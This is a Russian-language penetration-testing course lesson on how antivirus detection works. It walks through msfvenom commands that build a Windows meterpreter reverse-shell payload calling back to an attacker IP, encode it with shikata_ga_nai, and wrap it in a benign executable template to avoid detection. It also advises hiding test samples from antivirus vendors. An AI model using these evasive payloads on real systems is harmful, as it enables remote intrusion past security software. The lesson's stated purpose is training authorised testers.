Курс Ultimate Kali Linux — #62 Методы защиты от вредоносных программ. Использование Msfvenom для кодирования полезной нагрузки.
Здравствуйте, дорогие друзья.
Как начинающий тестировщик на проникновение, вы будете разрабатывать полезные приложения, специфичные для ваших целевых объектов, независимо от того, работают ли они под управлением клиентской операционной системы, такой как Microsoft Windows 10 или даже разновидности Linux. Эти целевые объекты также могут быть под управлением серверных и даже мобильных операционных систем. Самое главное, вы должны учитывать, что на этих целевых хост-системах может быть установлено антивирусное программное обеспечение, как собственное, так и коммерческое, которое было разработано для обнаружения и блокирования угроз. Это означает, что существует очень высокая вероятность того, что антивирусные решения в целевой системе могут обнаружить вашу полезную нагрузку как вредоносную и заблокировать ее, отправив предупреждение.
Понимание различных методов, используемых антивирусными решениями и средствами защиты от вредоносных программ, жизненно важно для лучшего понимания того, как обеспечить, чтобы ваша полезная нагрузка не обнаруживалась решениями безопасности. Поскольку поставщики антивирусов и средств защиты от вредоносных программ постоянно работают над обнаружением новых и только появляющихся угроз в дикой природе, чтобы усовершенствовать свои решения для обеспечения безопасности, тестировщики на проникновение должны убедиться, что их полезная нагрузка не зависит от решений по обнаружению угроз.
Этот раздел не предназначен для продвинутых пользователей. Тем не менее, он предназначен для ознакомления с основными методами идентификации угроз, которые используются антивирусными решениями, а также с тем, как внедрять обходные методы при создании полезной нагрузки для тестирования на проникновение. Ниже приведены различные методы, которые используются антивирусными решениями для обнаружения потенциальной угрозы в приложении или сетевом трафике:
- Сигнатурное обнаружение: Сигнатурное обнаружение является одним из наиболее распространенных и, возможно, более старых методов, используемых системами обнаружения и предотвращения угроз. Эти методы позволяют антивирусному приложению искать совпадающий код или шаблоны в файле, программном обеспечении или сетевом трафике. Как только совпадение найдено, срабатывает предупреждение, и антивирус предпринимает действия для предотвращения угрозы. Недостатком использования сигнатурного обнаружения является то, что антивирусное решение использует сигнатуру вредоносного ПО для обнаружения файлов, содержащих тот же вредоносный код. Без сигнатуры новой вредоносной программы антивирусная программа пропустит угрозу.
- Поведенческий подход: при обнаружении угроз на основе поведения, если антивирусная программа или средство защиты от вредоносных программ обнаруживает, что файл или приложение в хост-системе не функционирует в обычном режиме, они помещаются в изолированную среду. В рамках этой изолированной среды потенциально вредоносное приложение выполняется в этом виртуальном пространстве, что позволяет антивирусным программам и средствам защиты от вредоносных программ выявлять любые реальные потенциальные угрозы.
- Эвристический подход: при эвристическом обнаружении угроз антивирусной программе обычно требуются некоторые правила, которые помогают ей определить, является ли файл или приложение вредоносным для системы или сети. Кроме того, алгоритмы также используются для определения того, содержит ли исполняемый файл или запущенное приложение какой-либо вредоносный код в своих инструкциях, который потенциально может нанести ущерб или привести к потере данных в хост-системе.
В то время как производители антивирусов и средств защиты от вредоносных программ обычно используют один или несколько из этих методов, индустрия кибербезопасности постоянно развивается, и в программном обеспечении для защиты от вредоносных программ появляются новые методы обнаружения. В следующих подразделах вы узнаете, как создать обратную загрузку оболочки, используя различные методы, позволяющие обойти системы обнаружения угроз.
Использование Msfvenom для кодирования полезной нагрузки
В этом упражнении вы узнаете, как использовать MSFvenom для кодирования полезной нагрузки, чтобы снизить уровень обнаружения угроз и избежать защиты от вредоносных программ на хост-системах.
Чтобы начать выполнение этого упражнения, воспользуйтесь следующими инструкциями:
- На вашем компьютере с Kali Linux откройте терминал и используйте следующую команду для создания обратной полезной нагрузки оболочки для операционной системы Windows:
1 |
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.29 LPORT=4444 -f exe -o payload.exe |
Вся эта команда использует инструмент Msfvenom для создания конкретной полезной нагрузки, предназначенной для выполнения в операционной системе Microsoft Windows в качестве целевой. Кроме того, для значений LHOST и LPORT задаются IP-адрес и номер прослушивающего порта на компьютере злоумышленника, таком как Kali Linux. Использование синтаксиса –f позволяет вам указать формат файла в зависимости от архитектуры целевого объекта. Как только полезная нагрузка будет сгенерирована, она будет сохранена в вашем текущем рабочем каталоге в Kali Linux.
2. Затем откройте веб-браузер, перейдите по ссылке https://www.virustotal.com и загрузите полезную нагрузку, чтобы определить ее статус обнаружения:
Как показано в предыдущем фрагменте, более 50 датчиков защиты от вредоносных программ различных производителей смогли обнаружить потенциальную угрозу в созданном нами файле полезной нагрузки. Это означает, что если мы загрузим и выполним эту полезную нагрузку на целевой хост-системе, на которой запущена одна из этих программ защиты от вредоносных программ, существует высокая вероятность того, что она будет помечена и заблокирована.
Важное замечание
Имейте в виду, что после того, как вы отправили файл в VirusTotal и он был помечен как вредоносный, хэш вредоносного файла также передается другим поставщикам антивирусных программ и средств безопасности в отрасли. Таким образом, время использования вредоносной полезной нагрузки значительно сокращается. Чтобы предотвратить распространение хэша, пока вы все еще проверяете обнаружение вашей полезной нагрузки, вы можете использовать NoDestribute по адресу https://nodistribute.com/.
3. Далее давайте закодируем полезную нагрузку с помощью кодировщика shikata_ga_nai и выполним 9 итераций кодирования, чтобы снизить рейтинг обнаружения угроз полезной нагрузки:
1 |
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.29 LPORT=4444 -f exe -o payload2.exe -e x86/shikata_ga_nai -i 9 |
4. Далее загрузим payload2.exe в VirusTotal, чтобы определить степень обнаружения угроз:
Как показано на предыдущем скриншоте, хотя эта новая полезная нагрузка содержит 9 итераций кодирования, поскольку в ней используется один из наиболее рекомендуемых кодировщиков в MSFvenom, поставщики средств защиты от вредоносных программ совершенствуют свои стратегии обнаружения угроз.
- Далее, давайте создадим третью полезную нагрузку, используя шаблон Windows, чтобы проверить текущего пользователя:
1 |
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.29 LPORT=4444 -f exe -o encoded_payload3. exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows- binaries/whoami.exe |
6. Затем загрузите новую полезную нагрузку в VirusTotal:
Как показано на предыдущем скриншоте, у этой новой полезной нагрузки меньше шансов быть обнаруженной различными антивирусными системами. Следовательно, важно создать профиль целевой хост-системы и попытаться определить запущенные антивирусные и вредоносные программы, а затем протестировать полезную нагрузку перед отправкой ее адресату.
Выполнив это упражнение, вы узнаете, как снизить показатели обнаружения угроз с помощью MSFvenom, генерируя полезную нагрузку. Далее вы узнаете, как использовать Shelter для создания полезной нагрузки, которую не так легко обнаружить с помощью программ защиты от вредоносных программ.
На этом все. Всем хорошего дня!